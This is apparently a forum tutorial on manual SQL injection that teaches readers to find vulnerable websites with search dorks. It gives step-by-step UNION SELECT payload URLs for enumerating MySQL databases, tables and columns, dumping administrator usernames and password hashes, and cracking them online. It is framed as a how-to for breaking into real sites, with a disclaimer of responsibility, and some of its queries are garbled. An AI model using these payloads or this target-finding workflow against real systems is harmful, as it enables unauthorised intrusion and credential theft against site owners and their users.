SQL Injection Manual (Basic Tutorial)

Today, I will show you how SQLi can be easy!

This is only a basic tutorial.

Introduction:

This is very simple, just use these dorks with a SQLi scanner, or Google them check every site by yourself:

http://pastebin.com/vAZqkzMx

Now check each site manually to see if it is vulnerable, just add ' at the end of the url:

For example, we have our target,

Code:

http://www.example.net/news_details.php?id=30

Now, we want to check and see if this is SQLi is vulnerable, so we add ' at the end:

Code:

http://www.example.net/news_details.php?id=30'

If we got an error, that means that the site is vulnerable!

So, now we move on to the next step.

How To Find Columns Count:

After you have your vulnerable site, you need to know its column count, to do this, just add "order by X--" at the end of the URL,

X is a number from 1 to unlimited.

For example, we have our target server and we try to count columns,

we add order by 1-- at the end , then order by 2--, etc. Always increase by a number until you get an error on the website like thise one:

So, in our target server, we have tried this:

Code:

http://www.example.net/news_details.php?id=30 order by 1-- >> no error

http://www.example.net/news_details.php?id=30 order by 2-- >> no error

http://www.example.net/news_details.php?id=30 order by 3-- >> no error

http://www.example.net/news_details.php?id=30 order by 4-- >> no error

http://www.example.net/news_details.php?id=30 order by 5-- >> no error

http://www.example.net/news_details.php?id=30 order by 6-- >> no error

http://www.example.net/news_details.php?id=30 order by 7-- >> no error

http://www.example.net/news_details.php?id=30 order by 8-- >> Unknown column

http://www.example.net/news_details.php?id=30 order by 8-- >> Unknown column

That means that the 8th column does not exist, that means that the column count is 7!

How to Find The Accessible Columns:

Now, we know that the column count is 7, the next step is to check for accessible columns, to do that, we use this query "UNION SELECT number,of,columns--" like this:

Code:

http://www.example.net/news_details.php?id=30 union select 1,2,3,4,5,6,7--

You will get something like this:

That means that we can get information from the site from the 6th, the 2nd and the 3rd column!

How To Get MySQL DB Version:

We need to know the MySQL DB Version to know if we can exploit this site or not, cause every site that is using MySQL 4.x.x, is impossible to work with, but every 5.x.x or above is exploitable.

So to know MySQL DB Version, just replace the number of the used column with "@@version"

For example:

Code:

http://www.example.net/news_details.php?id=30 union select 1,2,3,4,5,@@version,7--

That means that we can continue working on this site.

How To Find Database Name:

Now , we are going to inject the site to find the DB Name,

to do this, replace the used column number with "group_concat(schema_name)", and add "from information_schema.schemata--" after the last column number, for example:

Code:

http://www.example.net/news_details.php?id=30 union select 1,2,3,4,5,group_concat(schema_name),7 from information_schema.schemata--

Now, to use the one the website uses, replace "group_concat(schema_name)" with "concat(database())" for example:

Code:

http://www.example.net/news_details.php?id=30 union select 1,2,3,4,5,concat(database()),7 from information_schema.schemata--

Congrats, you got the used DB!

How to Get The Table Names:

Now we need to get table names, to do this, replace the used column number with "group_concat(table_name)" and add "from information_schema.tables where table_schema=database()--" at the end of columns number.

Code:

http://www.example.net/news_details.php?id=30 union select 1,2,3,4,5,group_concat(table_name),7 from information_schema.tables where table_schema=database()--

How To Get Column Names:

To get column names, we will use this query:

group_concat(column_name)

from information_schema.columns where table_schema=database()--

Example:

Code:

http://www.example.net/news_details.php?id=30 union select 1,2,3,4,5,group_concat(column_name),7 from information_schema.columns where table_schema=database()--

How To Get Information From Columns:

Now, we are in our final step, now we will get the admin info from column, how to do it?

Simple, follow this example:

Code:

http://www.example.net/news_details.php?id=30 union select 1,2,3,4,5,group_concat(columusername,0x3a,columnpassword),7 from currentdb.tableused--

So our exploit will be like this:

Code:

http://www.example.net/news_details.php?id=30 union select 1,2,3,4,5,group_concat(username,0x3a,password),7 from example_gh.coc_admin--

Now we need to decrypt the password that is encrypted in md5,

go to http://www.md5decrypter.co.uk/ paste your hash, fill in the captcha and click on decrypt, with a little luck, you will get the password like here:

We have succelfully injected a website, and got the admin info! Thank you for reading my tutorial!

I am not responsible for your actions .